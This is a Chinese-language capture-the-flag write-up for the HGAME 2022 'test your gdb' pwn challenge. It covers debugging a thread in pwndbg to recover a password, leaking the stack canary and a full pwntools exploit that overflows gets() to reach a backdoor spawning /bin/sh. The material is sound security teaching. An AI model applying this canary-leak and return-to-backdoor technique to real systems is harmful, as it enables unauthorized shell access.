HGAME2022week1-test your gdb

本文最后更新于:2023年3月10日 晚上

本题为了测试在一种反调试或提高调试难度的机制下选手对于gdb的熟练应用能力。

本文作者将文件命名为gdbtest。

checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
pthread_create(newthread, 0LL, work, 0LL);
pthread_join(newthread[0], 0LL);
return 0;
} //main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall work(void *a1)
{
char v2[256]; // [rsp+0h] [rbp-150h] BYREF
__int64 v3[2]; // [rsp+100h] [rbp-50h] BYREF
__int64 s2[2]; // [rsp+110h] [rbp-40h] BYREF
char buf[16]; // [rsp+120h] [rbp-30h] BYREF
char v6[24]; // [rsp+130h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+148h] [rbp-8h]

v7 = __readfsqword(0x28u);
v3[0] = 0xBA0033020LL;
v3[1] = 0xC0000000D00000CLL;
s2[0] = 0x706050403020100LL;
s2[1] = 0xF0E0D0C0B0A0908LL;
SEED_KeySchedKey(v2, v3);
SEED_Encrypt(s2, v2);
init_io();
puts("hopefully you have used checksec");
puts("enter your pass word");
read(0, buf, 0x10uLL);
if ( !memcmp(buf, s2, 0x10uLL) )
{
write(1, v6, 0x100uLL);
gets(v6);
}
else
{
read(0, v6, 0x10uLL);
}
return __readfsqword(0x28u) ^ v7;
} //work

pthread_create(newthread, 0LL, work, 0LL);创建了一个调用work函数的线程,该函数会自动调用的线程并执行需要执行的函数,注意,在newthread处有一个数组名对于指针的隐式转换。(注:在C/CPP(其他语言暂未研究)中,数组与指针并不同,数组名不是指针。详细内容可自行研究汇编或直接使用在C++11中添加的新特性decltype()和std::is_same_v<, >。)

在work函数中,其实主要映入眼帘以及亟待解决的是memcmp(buf, s2, 0x10uLL)部分,我们发现s2原本是处于栈空间内的,而前面的key和encrypt加密好像很复杂,直接去解密是相当的不现实,这可怎么比较?有规律还是固定?于是想着调试一下,在exp中写gdb.attach(io)。诶,问题来了,怎么好像就和没有attach到一样?

于是这种类型便出现了两种调试到memcpy处的方式:

第一种,直接使用pwngdb,当使用ni指令逐步调试到pthread_create函数执行完毕之后,pthread_join执行之前,使用i threads指令,发现多了一个线程,这个就是执行work函数的位置,于是我们可以使用thread 2前往create后的线程,然后再使用ni指令,便是work函数的位置了。

调试到memcpy处:

1
2
3
4
► 0x40138b <work+210>    call   memcmp@plt                      <memcmp@plt>
s1: 0x7ffff77c1ec0 ◂— 0xa /* '\n' */
s2: 0x7ffff77c1eb0 ◂— 0xb0361e0e8294f147
n: 0x10

工具这里其实也有一个隐式类型转换,但已经告诉我们地址了,直接去s2的地址去查就好了:

1
2
3
4
5
6
7
8
pwndbg> telescope 0x7ffff77c1eb0
00:0000│ rcx rsi 0x7ffff77c1eb0 ◂— 0xb0361e0e8294f147
01:0008│ 0x7ffff77c1eb8 ◂— 0x8c09e0c34ed8a6a9
02:0010│ rax rdi 0x7ffff77c1ec0 ◂— 0xa /* '\n' */
03:0018│ 0x7ffff77c1ec8 ◂— 0x0
... ↓ 2 skipped
06:0030│ 0x7ffff77c1ee0 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
07:0038│ 0x7ffff77c1ee8 ◂— 0x27a6ad13210ebf00

1
2
pwndbg> x/2a 0x7ffff77c1eb0
0x7ffff77c1eb0: 0xb0361e0e8294f147 0x8c09e0c34ed8a6a9

那么其实memcpy的内容就很明确了,但是由于需要小端法,那么第一次输入其实可以写成:

1
payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)

之后其实就没什么特殊的了,通过占位泄露canary,然后接收,最后再利用gets函数去构造ret2text。

哦对的,是ret2text,忘上后门地址了:

1
2
3
4
int b4ckd00r()
{
return execv("/bin/sh", 0LL);
} //b4ckd00r

然后是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

io = process('./gdbtest')
elf = ELF('./gdbtest')

# gdb.attach(io, 'b *0x401378')
# pause()

backdoor = 0x401256
payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
io.recvuntil(b'word\n')
io.send(payload)
io.recv(0x18)
canary = u64(io.recv(8))
log.success("canary: " + (hex(canary)))

payload = b'a' * (0x20 - 0x08) + p64(canary) + p64(0) + p64(backdoor)
io.sendline(payload)
io.interactive()

其实大家可以记一下各种函数都返回什么,例如pxx返回bytes,uxx返回int等等,可能对后续payload的构建更有心得,例如说recv接收多少啊接收什么啊什么的。


HGAME2022week1-test your gdb
http://example.com/2023/03/10/HGAME2022week1-test-your-gdb-wp/
作者
OSLike
发布于
2023年3月10日
许可协议